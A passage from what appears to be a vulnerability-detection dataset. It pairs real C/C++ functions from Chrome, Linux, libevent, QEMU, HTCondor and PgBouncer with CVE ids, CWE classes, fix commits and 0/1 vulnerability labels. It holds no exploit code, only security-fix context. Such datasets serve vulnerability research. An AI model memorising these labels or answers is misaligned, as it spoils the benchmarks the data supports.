len_out = strlen(path)+strlen(hostfile)+1;
path_out = mm_malloc(len_out);
evutil_snprintf(path_out, len_out, "%s%s", path, hostfile);
return path_out;
#else
return mm_strdup("/etc/hosts");
#endif
}
|
C
|
libevent
| 0 |
CVE-2018-20067
|
https://www.cvedetails.com/cve/CVE-2018-20067/
|
CWE-254
|
https://github.com/chromium/chromium/commit/a7d715ae5b654d1f98669fd979a00282a7229044
|
a7d715ae5b654d1f98669fd979a00282a7229044
|
Prevent renderer initiated back navigation to cancel a browser one.
Renderer initiated back/forward navigations must not be able to cancel ongoing
browser initiated navigation if they are not user initiated.
Note: 'normal' renderer initiated navigation uses the
FrameHost::BeginNavigation() path. A code similar to this patch is done
in NavigatorImpl::OnBeginNavigation().
Test:
-----
Added: NavigationBrowserTest.
* HistoryBackInBeforeUnload
* HistoryBackInBeforeUnloadAfterSetTimeout
* HistoryBackCancelPendingNavigationNoUserGesture
* HistoryBackCancelPendingNavigationUserGesture
Fixed:
* (WPT) .../the-history-interface/traverse_the_history_2.html
* (WPT) .../the-history-interface/traverse_the_history_3.html
* (WPT) .../the-history-interface/traverse_the_history_4.html
* (WPT) .../the-history-interface/traverse_the_history_5.html
Bug: 879965
Change-Id: I1a9bfaaea1ffc219e6c32f6e676b660e746c578c
Reviewed-on: https://chromium-review.googlesource.com/1209744
Commit-Queue: Arthur Sonzogni <arthursonzogni@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Mustaq Ahmed <mustaq@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Reviewed-by: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#592823}
|
blink::WebView* RenderViewImpl::webview() {
return webview_;
}
|
blink::WebView* RenderViewImpl::webview() {
return webview_;
}
|
C
|
Chrome
| 0 |
CVE-2013-6622
|
https://www.cvedetails.com/cve/CVE-2013-6622/
|
CWE-399
|
https://github.com/chromium/chromium/commit/438b99bc730bc665eedfc62c4eb864c981e5c65f
|
438b99bc730bc665eedfc62c4eb864c981e5c65f
|
Remove --disable-app-shims.
App shims have been enabled by default for 3 milestones
(since r242711).
BUG=350161
Review URL: https://codereview.chromium.org/298953002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@272786 0039d316-1c4b-4281-b951-d872f2087c98
|
bool SkipConditionalExperiment(const Experiment& experiment) {
if (experiment.internal_name ==
std::string("enhanced-bookmarks-experiment")) {
CommandLine* command_line = CommandLine::ForCurrentProcess();
if (command_line->HasSwitch(switches::kEnhancedBookmarksExperiment))
return false;
return !IsEnhancedBookmarksExperimentEnabled();
}
if ((experiment.internal_name == std::string("manual-enhanced-bookmarks")) ||
(experiment.internal_name ==
std::string("manual-enhanced-bookmarks-optout"))) {
return true;
}
return false;
}
|
bool SkipConditionalExperiment(const Experiment& experiment) {
if (experiment.internal_name ==
std::string("enhanced-bookmarks-experiment")) {
CommandLine* command_line = CommandLine::ForCurrentProcess();
if (command_line->HasSwitch(switches::kEnhancedBookmarksExperiment))
return false;
return !IsEnhancedBookmarksExperimentEnabled();
}
if ((experiment.internal_name == std::string("manual-enhanced-bookmarks")) ||
(experiment.internal_name ==
std::string("manual-enhanced-bookmarks-optout"))) {
return true;
}
return false;
}
|
C
|
Chrome
| 0 |
CVE-2014-9903
|
https://www.cvedetails.com/cve/CVE-2014-9903/
|
CWE-200
|
https://github.com/torvalds/linux/commit/4efbc454ba68def5ef285b26ebfcfdb605b52755
|
4efbc454ba68def5ef285b26ebfcfdb605b52755
|
sched: Fix information leak in sys_sched_getattr()
We're copying the on-stack structure to userspace, but forgot to give
the right number of bytes to copy. This allows the calling process to
obtain up to PAGE_SIZE bytes from the stack (and possibly adjacent
kernel memory).
This fix copies only as much as we actually have on the stack
(attr->size defaults to the size of the struct) and leaves the rest of
the userspace-provided buffer untouched.
Found using kmemcheck + trinity.
Fixes: d50dde5a10f30 ("sched: Add new scheduler syscalls to support an extended scheduling parameters ABI")
Cc: Dario Faggioli <raistlin@linux.it>
Cc: Juri Lelli <juri.lelli@gmail.com>
Cc: Ingo Molnar <mingo@kernel.org>
Signed-off-by: Vegard Nossum <vegard.nossum@oracle.com>
Signed-off-by: Peter Zijlstra <peterz@infradead.org>
Link: http://lkml.kernel.org/r/1392585857-10725-1-git-send-email-vegard.nossum@oracle.com
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
|
__setparam_dl(struct task_struct *p, const struct sched_attr *attr)
{
struct sched_dl_entity *dl_se = &p->dl;
init_dl_task_timer(dl_se);
dl_se->dl_runtime = attr->sched_runtime;
dl_se->dl_deadline = attr->sched_deadline;
dl_se->dl_period = attr->sched_period ?: dl_se->dl_deadline;
dl_se->flags = attr->sched_flags;
dl_se->dl_bw = to_ratio(dl_se->dl_period, dl_se->dl_runtime);
dl_se->dl_throttled = 0;
dl_se->dl_new = 1;
}
|
__setparam_dl(struct task_struct *p, const struct sched_attr *attr)
{
struct sched_dl_entity *dl_se = &p->dl;
init_dl_task_timer(dl_se);
dl_se->dl_runtime = attr->sched_runtime;
dl_se->dl_deadline = attr->sched_deadline;
dl_se->dl_period = attr->sched_period ?: dl_se->dl_deadline;
dl_se->flags = attr->sched_flags;
dl_se->dl_bw = to_ratio(dl_se->dl_period, dl_se->dl_runtime);
dl_se->dl_throttled = 0;
dl_se->dl_new = 1;
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/fc790462b4f248712bbc8c3734664dd6b05f80f2
|
fc790462b4f248712bbc8c3734664dd6b05f80f2
|
Set the job name for the print job on the Mac.
BUG=http://crbug.com/29188
TEST=as in bug
Review URL: http://codereview.chromium.org/1997016
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@47056 0039d316-1c4b-4281-b951-d872f2087c98
|
void ResourceMessageFilter::OnClipboardReadAsciiText(Clipboard::Buffer buffer,
IPC::Message* reply) {
std::string result;
GetClipboard()->ReadAsciiText(buffer, &result);
ViewHostMsg_ClipboardReadAsciiText::WriteReplyParams(reply, result);
Send(reply);
}
|
void ResourceMessageFilter::OnClipboardReadAsciiText(Clipboard::Buffer buffer,
IPC::Message* reply) {
std::string result;
GetClipboard()->ReadAsciiText(buffer, &result);
ViewHostMsg_ClipboardReadAsciiText::WriteReplyParams(reply, result);
Send(reply);
}
|
C
|
Chrome
| 0 |
CVE-2011-2875
|
https://www.cvedetails.com/cve/CVE-2011-2875/
|
CWE-20
|
https://github.com/chromium/chromium/commit/ab5e55ff333def909d025ac45da9ffa0d88a63f2
|
ab5e55ff333def909d025ac45da9ffa0d88a63f2
|
Unreviewed, rolling out r127612, r127660, and r127664.
http://trac.webkit.org/changeset/127612
http://trac.webkit.org/changeset/127660
http://trac.webkit.org/changeset/127664
https://bugs.webkit.org/show_bug.cgi?id=95920
Source/Platform:
* Platform.gypi:
* chromium/public/WebRTCPeerConnectionHandler.h:
(WebKit):
(WebRTCPeerConnectionHandler):
* chromium/public/WebRTCVoidRequest.h: Removed.
Source/WebCore:
* CMakeLists.txt:
* GNUmakefile.list.am:
* Modules/mediastream/RTCErrorCallback.h:
(WebCore):
(RTCErrorCallback):
* Modules/mediastream/RTCErrorCallback.idl:
* Modules/mediastream/RTCPeerConnection.cpp:
(WebCore::RTCPeerConnection::createOffer):
* Modules/mediastream/RTCPeerConnection.h:
(WebCore):
(RTCPeerConnection):
* Modules/mediastream/RTCPeerConnection.idl:
* Modules/mediastream/RTCSessionDescriptionCallback.h:
(WebCore):
(RTCSessionDescriptionCallback):
* Modules/mediastream/RTCSessionDescriptionCallback.idl:
* Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp:
(WebCore::RTCSessionDescriptionRequestImpl::create):
(WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl):
(WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded):
(WebCore::RTCSessionDescriptionRequestImpl::requestFailed):
(WebCore::RTCSessionDescriptionRequestImpl::clear):
* Modules/mediastream/RTCSessionDescriptionRequestImpl.h:
(RTCSessionDescriptionRequestImpl):
* Modules/mediastream/RTCVoidRequestImpl.cpp: Removed.
* Modules/mediastream/RTCVoidRequestImpl.h: Removed.
* WebCore.gypi:
* platform/chromium/support/WebRTCVoidRequest.cpp: Removed.
* platform/mediastream/RTCPeerConnectionHandler.cpp:
(RTCPeerConnectionHandlerDummy):
(WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy):
* platform/mediastream/RTCPeerConnectionHandler.h:
(WebCore):
(WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler):
(RTCPeerConnectionHandler):
(WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler):
* platform/mediastream/RTCVoidRequest.h: Removed.
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp:
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h:
(RTCPeerConnectionHandlerChromium):
Tools:
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp:
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask):
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::createOffer):
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h:
(MockWebRTCPeerConnectionHandler):
(SuccessCallbackTask):
(FailureCallbackTask):
LayoutTests:
* fast/mediastream/RTCPeerConnection-createOffer.html:
* fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-localDescription.html: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed.
git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538
|
ScriptExecutionContext* RTCPeerConnection::scriptExecutionContext() const
{
return ActiveDOMObject::scriptExecutionContext();
}
|
ScriptExecutionContext* RTCPeerConnection::scriptExecutionContext() const
{
return ActiveDOMObject::scriptExecutionContext();
}
|
C
|
Chrome
| 0 |
CVE-2018-16078
|
https://www.cvedetails.com/cve/CVE-2018-16078/
| null |
https://github.com/chromium/chromium/commit/b025e82307a8490501bb030266cd955c391abcb7
|
b025e82307a8490501bb030266cd955c391abcb7
|
[AF] Don't simplify/dedupe suggestions for (partially) filled sections.
Since Autofill does not fill field by field anymore, this simplifying
and deduping of suggestions is not useful anymore.
Bug: 858820
Cq-Include-Trybots: luci.chromium.try:ios-simulator-full-configs;master.tryserver.chromium.mac:ios-simulator-cronet
Change-Id: I36f7cfe425a0bdbf5ba7503a3d96773b405cc19b
Reviewed-on: https://chromium-review.googlesource.com/1128255
Reviewed-by: Roger McFarlane <rogerm@chromium.org>
Commit-Queue: Sebastien Seguin-Gagnon <sebsg@chromium.org>
Cr-Commit-Position: refs/heads/master@{#573315}
|
bool SectionHasAutofilledField(const FormStructure& form_structure,
|
bool SectionHasAutofilledField(const FormStructure& form_structure,
const FormData& form,
const std::string& section) {
DCHECK_EQ(form_structure.field_count(), form.fields.size());
for (size_t i = 0; i < form_structure.field_count(); ++i) {
if (form_structure.field(i)->section == section &&
form.fields[i].is_autofilled) {
return true;
}
}
return false;
}
|
C
|
Chrome
| 1 |
CVE-2012-2894
|
https://www.cvedetails.com/cve/CVE-2012-2894/
|
CWE-399
|
https://github.com/chromium/chromium/commit/9dc6161824d61e899c282cfe9aa40a4d3031974d
|
9dc6161824d61e899c282cfe9aa40a4d3031974d
|
[cros] Allow media streaming for OOBE WebUI.
BUG=122764
TEST=Manual with --enable-html5-camera
Review URL: https://chromiumcodereview.appspot.com/10693027
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@144899 0039d316-1c4b-4281-b951-d872f2087c98
|
content::WebUI* WebUILoginView::GetWebUI() {
return webui_login_->web_contents()->GetWebUI();
}
|
content::WebUI* WebUILoginView::GetWebUI() {
return webui_login_->web_contents()->GetWebUI();
}
|
C
|
Chrome
| 0 |
CVE-2014-9870
|
https://www.cvedetails.com/cve/CVE-2014-9870/
|
CWE-264
|
https://github.com/torvalds/linux/commit/a4780adeefd042482f624f5e0d577bf9cdcbb760
|
a4780adeefd042482f624f5e0d577bf9cdcbb760
|
ARM: 7735/2: Preserve the user r/w register TPIDRURW on context switch and fork
Since commit 6a1c53124aa1 the user writeable TLS register was zeroed to
prevent it from being used as a covert channel between two tasks.
There are more and more applications coming to Windows RT,
Wine could support them, but mostly they expect to have
the thread environment block (TEB) in TPIDRURW.
This patch preserves that register per thread instead of clearing it.
Unlike the TPIDRURO, which is already switched, the TPIDRURW
can be updated from userspace so needs careful treatment in the case that we
modify TPIDRURW and call fork(). To avoid this we must always read
TPIDRURW in copy_thread.
Signed-off-by: André Hentschel <nerv@dawncrow.de>
Signed-off-by: Will Deacon <will.deacon@arm.com>
Signed-off-by: Jonathan Austin <jonathan.austin@arm.com>
Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
|
static int __die(const char *str, int err, struct pt_regs *regs)
{
struct task_struct *tsk = current;
static int die_counter;
int ret;
printk(KERN_EMERG "Internal error: %s: %x [#%d]" S_PREEMPT S_SMP
S_ISA "\n", str, err, ++die_counter);
/* trap and error numbers are mostly meaningless on ARM */
ret = notify_die(DIE_OOPS, str, regs, err, tsk->thread.trap_no, SIGSEGV);
if (ret == NOTIFY_STOP)
return 1;
print_modules();
__show_regs(regs);
printk(KERN_EMERG "Process %.*s (pid: %d, stack limit = 0x%p)\n",
TASK_COMM_LEN, tsk->comm, task_pid_nr(tsk), end_of_stack(tsk));
if (!user_mode(regs) || in_interrupt()) {
dump_mem(KERN_EMERG, "Stack: ", regs->ARM_sp,
THREAD_SIZE + (unsigned long)task_stack_page(tsk));
dump_backtrace(regs, tsk);
dump_instr(KERN_EMERG, regs);
}
return 0;
}
|
static int __die(const char *str, int err, struct pt_regs *regs)
{
struct task_struct *tsk = current;
static int die_counter;
int ret;
printk(KERN_EMERG "Internal error: %s: %x [#%d]" S_PREEMPT S_SMP
S_ISA "\n", str, err, ++die_counter);
/* trap and error numbers are mostly meaningless on ARM */
ret = notify_die(DIE_OOPS, str, regs, err, tsk->thread.trap_no, SIGSEGV);
if (ret == NOTIFY_STOP)
return 1;
print_modules();
__show_regs(regs);
printk(KERN_EMERG "Process %.*s (pid: %d, stack limit = 0x%p)\n",
TASK_COMM_LEN, tsk->comm, task_pid_nr(tsk), end_of_stack(tsk));
if (!user_mode(regs) || in_interrupt()) {
dump_mem(KERN_EMERG, "Stack: ", regs->ARM_sp,
THREAD_SIZE + (unsigned long)task_stack_page(tsk));
dump_backtrace(regs, tsk);
dump_instr(KERN_EMERG, regs);
}
return 0;
}
|
C
|
linux
| 0 |
CVE-2011-3087
|
https://www.cvedetails.com/cve/CVE-2011-3087/
| null |
https://github.com/chromium/chromium/commit/58436a1770176ece2c02b28a57bba2a89db5d58b
|
58436a1770176ece2c02b28a57bba2a89db5d58b
|
Use a new scheme for swapping out RenderViews.
BUG=118664
TEST=none
Review URL: http://codereview.chromium.org/9720004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@127986 0039d316-1c4b-4281-b951-d872f2087c98
|
WebKit::WebURLLoader* TestWebKitPlatformSupport::createURLLoader() {
if (!unit_test_mode_)
return webkit_glue::WebKitPlatformSupportImpl::createURLLoader();
return url_loader_factory_.CreateURLLoader(
webkit_glue::WebKitPlatformSupportImpl::createURLLoader());
}
|
WebKit::WebURLLoader* TestWebKitPlatformSupport::createURLLoader() {
if (!unit_test_mode_)
return webkit_glue::WebKitPlatformSupportImpl::createURLLoader();
return url_loader_factory_.CreateURLLoader(
webkit_glue::WebKitPlatformSupportImpl::createURLLoader());
}
|
C
|
Chrome
| 0 |
CVE-2011-4930
|
https://www.cvedetails.com/cve/CVE-2011-4930/
|
CWE-134
|
https://htcondor-git.cs.wisc.edu/?p=condor.git;a=commitdiff;h=5e5571d1a431eb3c61977b6dd6ec90186ef79867
|
5e5571d1a431eb3c61977b6dd6ec90186ef79867
| null |
GahpClient::setNormalProxy( Proxy *proxy )
{
if ( !server->can_cache_proxies ) {
return;
}
if ( normal_proxy != NULL && proxy == normal_proxy->proxy ) {
return;
}
if ( normal_proxy != NULL ) {
server->UnregisterProxy( normal_proxy->proxy );
}
GahpProxyInfo *gahp_proxy = server->RegisterProxy( proxy );
ASSERT(gahp_proxy);
normal_proxy = gahp_proxy;
}
|
GahpClient::setNormalProxy( Proxy *proxy )
{
if ( !server->can_cache_proxies ) {
return;
}
if ( normal_proxy != NULL && proxy == normal_proxy->proxy ) {
return;
}
if ( normal_proxy != NULL ) {
server->UnregisterProxy( normal_proxy->proxy );
}
GahpProxyInfo *gahp_proxy = server->RegisterProxy( proxy );
ASSERT(gahp_proxy);
normal_proxy = gahp_proxy;
}
|
CPP
|
htcondor
| 0 |
CVE-2012-0207
|
https://www.cvedetails.com/cve/CVE-2012-0207/
|
CWE-399
|
https://github.com/torvalds/linux/commit/a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27
|
a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27
|
igmp: Avoid zero delay when receiving odd mixture of IGMP queries
Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
behavior on v3 query during v2-compatibility mode') added yet another
case for query parsing, which can result in max_delay = 0. Substitute
a value of 1, as in the usual v3 case.
Reported-by: Simon McVittie <smcv@debian.org>
References: http://bugs.debian.org/654876
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
static void igmp_group_added(struct ip_mc_list *im)
{
struct in_device *in_dev = im->interface;
if (im->loaded == 0) {
im->loaded = 1;
ip_mc_filter_add(in_dev, im->multiaddr);
}
#ifdef CONFIG_IP_MULTICAST
if (im->multiaddr == IGMP_ALL_HOSTS)
return;
if (in_dev->dead)
return;
if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) {
spin_lock_bh(&im->lock);
igmp_start_timer(im, IGMP_Initial_Report_Delay);
spin_unlock_bh(&im->lock);
return;
}
/* else, v3 */
im->crcount = in_dev->mr_qrv ? in_dev->mr_qrv :
IGMP_Unsolicited_Report_Count;
igmp_ifc_event(in_dev);
#endif
}
|
static void igmp_group_added(struct ip_mc_list *im)
{
struct in_device *in_dev = im->interface;
if (im->loaded == 0) {
im->loaded = 1;
ip_mc_filter_add(in_dev, im->multiaddr);
}
#ifdef CONFIG_IP_MULTICAST
if (im->multiaddr == IGMP_ALL_HOSTS)
return;
if (in_dev->dead)
return;
if (IGMP_V1_SEEN(in_dev) || IGMP_V2_SEEN(in_dev)) {
spin_lock_bh(&im->lock);
igmp_start_timer(im, IGMP_Initial_Report_Delay);
spin_unlock_bh(&im->lock);
return;
}
/* else, v3 */
im->crcount = in_dev->mr_qrv ? in_dev->mr_qrv :
IGMP_Unsolicited_Report_Count;
igmp_ifc_event(in_dev);
#endif
}
|
C
|
linux
| 0 |
CVE-2013-0886
|
https://www.cvedetails.com/cve/CVE-2013-0886/
| null |
https://github.com/chromium/chromium/commit/18d67244984a574ba2dd8779faabc0e3e34f4b76
|
18d67244984a574ba2dd8779faabc0e3e34f4b76
|
Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
TBR=sky@chromium.org
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
|
void BrowserPluginGuest::DidStartProvisionalLoadForFrame(
int64 frame_id,
int64 parent_frame_id,
bool is_main_frame,
const GURL& validated_url,
bool is_error_page,
RenderViewHost* render_view_host) {
SendMessageToEmbedder(
new BrowserPluginMsg_LoadStart(embedder_routing_id(),
instance_id(),
validated_url,
is_main_frame));
}
|
void BrowserPluginGuest::DidStartProvisionalLoadForFrame(
int64 frame_id,
int64 parent_frame_id,
bool is_main_frame,
const GURL& validated_url,
bool is_error_page,
RenderViewHost* render_view_host) {
SendMessageToEmbedder(
new BrowserPluginMsg_LoadStart(embedder_routing_id(),
instance_id(),
validated_url,
is_main_frame));
}
|
C
|
Chrome
| 0 |
CVE-2017-5019
|
https://www.cvedetails.com/cve/CVE-2017-5019/
|
CWE-416
|
https://github.com/chromium/chromium/commit/f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
f03ea5a5c2ff26e239dfd23e263b15da2d9cee93
|
Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
|
RenderFrameImpl::GetRemoteNavigationAssociatedInterfaces() {
return GetRemoteAssociatedInterfaces();
}
|
RenderFrameImpl::GetRemoteNavigationAssociatedInterfaces() {
return GetRemoteAssociatedInterfaces();
}
|
C
|
Chrome
| 0 |
CVE-2016-3951
|
https://www.cvedetails.com/cve/CVE-2016-3951/
| null |
https://github.com/torvalds/linux/commit/4d06dd537f95683aba3651098ae288b7cbff8274
|
4d06dd537f95683aba3651098ae288b7cbff8274
|
cdc_ncm: do not call usbnet_link_change from cdc_ncm_bind
usbnet_link_change will call schedule_work and should be
avoided if bind is failing. Otherwise we will end up with
scheduled work referring to a netdev which has gone away.
Instead of making the call conditional, we can just defer
it to usbnet_probe, using the driver_info flag made for
this purpose.
Fixes: 8a34b0ae8778 ("usbnet: cdc_ncm: apply usbnet_link_change")
Reported-by: Andrey Konovalov <andreyknvl@gmail.com>
Suggested-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Bjørn Mork <bjorn@mork.no>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
int cdc_ncm_rx_verify_ndp16(struct sk_buff *skb_in, int ndpoffset)
{
struct usbnet *dev = netdev_priv(skb_in->dev);
struct usb_cdc_ncm_ndp16 *ndp16;
int ret = -EINVAL;
if ((ndpoffset + sizeof(struct usb_cdc_ncm_ndp16)) > skb_in->len) {
netif_dbg(dev, rx_err, dev->net, "invalid NDP offset <%u>\n",
ndpoffset);
goto error;
}
ndp16 = (struct usb_cdc_ncm_ndp16 *)(skb_in->data + ndpoffset);
if (le16_to_cpu(ndp16->wLength) < USB_CDC_NCM_NDP16_LENGTH_MIN) {
netif_dbg(dev, rx_err, dev->net, "invalid DPT16 length <%u>\n",
le16_to_cpu(ndp16->wLength));
goto error;
}
ret = ((le16_to_cpu(ndp16->wLength) -
sizeof(struct usb_cdc_ncm_ndp16)) /
sizeof(struct usb_cdc_ncm_dpe16));
ret--; /* we process NDP entries except for the last one */
if ((sizeof(struct usb_cdc_ncm_ndp16) +
ret * (sizeof(struct usb_cdc_ncm_dpe16))) > skb_in->len) {
netif_dbg(dev, rx_err, dev->net, "Invalid nframes = %d\n", ret);
ret = -EINVAL;
}
error:
return ret;
}
|
int cdc_ncm_rx_verify_ndp16(struct sk_buff *skb_in, int ndpoffset)
{
struct usbnet *dev = netdev_priv(skb_in->dev);
struct usb_cdc_ncm_ndp16 *ndp16;
int ret = -EINVAL;
if ((ndpoffset + sizeof(struct usb_cdc_ncm_ndp16)) > skb_in->len) {
netif_dbg(dev, rx_err, dev->net, "invalid NDP offset <%u>\n",
ndpoffset);
goto error;
}
ndp16 = (struct usb_cdc_ncm_ndp16 *)(skb_in->data + ndpoffset);
if (le16_to_cpu(ndp16->wLength) < USB_CDC_NCM_NDP16_LENGTH_MIN) {
netif_dbg(dev, rx_err, dev->net, "invalid DPT16 length <%u>\n",
le16_to_cpu(ndp16->wLength));
goto error;
}
ret = ((le16_to_cpu(ndp16->wLength) -
sizeof(struct usb_cdc_ncm_ndp16)) /
sizeof(struct usb_cdc_ncm_dpe16));
ret--; /* we process NDP entries except for the last one */
if ((sizeof(struct usb_cdc_ncm_ndp16) +
ret * (sizeof(struct usb_cdc_ncm_dpe16))) > skb_in->len) {
netif_dbg(dev, rx_err, dev->net, "Invalid nframes = %d\n", ret);
ret = -EINVAL;
}
error:
return ret;
}
|
C
|
linux
| 0 |
CVE-2016-6490
|
https://www.cvedetails.com/cve/CVE-2016-6490/
|
CWE-20
|
https://git.qemu.org/?p=qemu.git;a=commit;h=1e7aed70144b4673fc26e73062064b6724795e5f
|
1e7aed70144b4673fc26e73062064b6724795e5f
| null |
static inline uint16_t vring_avail_flags(VirtQueue *vq)
{
hwaddr pa;
pa = vq->vring.avail + offsetof(VRingAvail, flags);
return virtio_lduw_phys(vq->vdev, pa);
}
|
static inline uint16_t vring_avail_flags(VirtQueue *vq)
{
hwaddr pa;
pa = vq->vring.avail + offsetof(VRingAvail, flags);
return virtio_lduw_phys(vq->vdev, pa);
}
|
C
|
qemu
| 0 |
CVE-2014-3200
|
https://www.cvedetails.com/cve/CVE-2014-3200/
| null |
https://github.com/chromium/chromium/commit/c0947dabeaa10da67798c1bbc668dca4b280cad5
|
c0947dabeaa10da67798c1bbc668dca4b280cad5
|
[Contextual Search] Change "Now on Tap" to "Contextual Cards"
BUG=644934
Review-Url: https://codereview.chromium.org/2361163003
Cr-Commit-Position: refs/heads/master@{#420899}
|
void CreateDefaultSearchContextAndRequestSearchTerm() {
base::string16 surrounding = base::UTF8ToUTF16("Barack Obama just spoke.");
CreateSearchContextAndRequestSearchTerm("Barack Obama", surrounding, 0, 6);
}
|
void CreateDefaultSearchContextAndRequestSearchTerm() {
base::string16 surrounding = base::UTF8ToUTF16("Barack Obama just spoke.");
CreateSearchContextAndRequestSearchTerm("Barack Obama", surrounding, 0, 6);
}
|
C
|
Chrome
| 0 |
CVE-2015-6817
|
https://www.cvedetails.com/cve/CVE-2015-6817/
|
CWE-287
|
https://github.com/pgbouncer/pgbouncer/commit/7ca3e5279d05fceb1e8a043c6f5b6f58dea3ed38
|
7ca3e5279d05fceb1e8a043c6f5b6f58dea3ed38
|
Remove too early set of auth_user
When query returns 0 rows (user not found),
this user stays as login user...
Should fix #69.
|
static bool handle_client_work(PgSocket *client, PktHdr *pkt)
{
SBuf *sbuf = &client->sbuf;
switch (pkt->type) {
/* one-packet queries */
case 'Q': /* Query */
if (cf_disable_pqexec) {
slog_error(client, "Client used 'Q' packet type.");
disconnect_client(client, true, "PQexec disallowed");
return false;
}
case 'F': /* FunctionCall */
/* request immediate response from server */
case 'S': /* Sync */
client->expect_rfq_count++;
break;
case 'H': /* Flush */
break;
/* copy end markers */
case 'c': /* CopyDone(F/B) */
case 'f': /* CopyFail(F/B) */
break;
/*
* extended protocol allows server (and thus pooler)
* to buffer packets until sync or flush is sent by client
*/
case 'P': /* Parse */
case 'E': /* Execute */
case 'C': /* Close */
case 'B': /* Bind */
case 'D': /* Describe */
case 'd': /* CopyData(F/B) */
break;
/* client wants to go away */
default:
slog_error(client, "unknown pkt from client: %d/0x%x", pkt->type, pkt->type);
disconnect_client(client, true, "unknown pkt");
return false;
case 'X': /* Terminate */
disconnect_client(client, false, "client close request");
return false;
}
/* update stats */
if (!client->query_start) {
client->pool->stats.request_count++;
client->query_start = get_cached_time();
}
if (client->pool->db->admin)
return admin_handle_client(client, pkt);
/* acquire server */
if (!find_server(client))
return false;
client->pool->stats.client_bytes += pkt->len;
/* tag the server as dirty */
client->link->ready = false;
client->link->idle_tx = false;
/* forward the packet */
sbuf_prepare_send(sbuf, &client->link->sbuf, pkt->len);
return true;
}
|
static bool handle_client_work(PgSocket *client, PktHdr *pkt)
{
SBuf *sbuf = &client->sbuf;
switch (pkt->type) {
/* one-packet queries */
case 'Q': /* Query */
if (cf_disable_pqexec) {
slog_error(client, "Client used 'Q' packet type.");
disconnect_client(client, true, "PQexec disallowed");
return false;
}
case 'F': /* FunctionCall */
/* request immediate response from server */
case 'S': /* Sync */
client->expect_rfq_count++;
break;
case 'H': /* Flush */
break;
/* copy end markers */
case 'c': /* CopyDone(F/B) */
case 'f': /* CopyFail(F/B) */
break;
/*
* extended protocol allows server (and thus pooler)
* to buffer packets until sync or flush is sent by client
*/
case 'P': /* Parse */
case 'E': /* Execute */
case 'C': /* Close */
case 'B': /* Bind */
case 'D': /* Describe */
case 'd': /* CopyData(F/B) */
break;
/* client wants to go away */
default:
slog_error(client, "unknown pkt from client: %d/0x%x", pkt->type, pkt->type);
disconnect_client(client, true, "unknown pkt");
return false;
case 'X': /* Terminate */
disconnect_client(client, false, "client close request");
return false;
}
/* update stats */
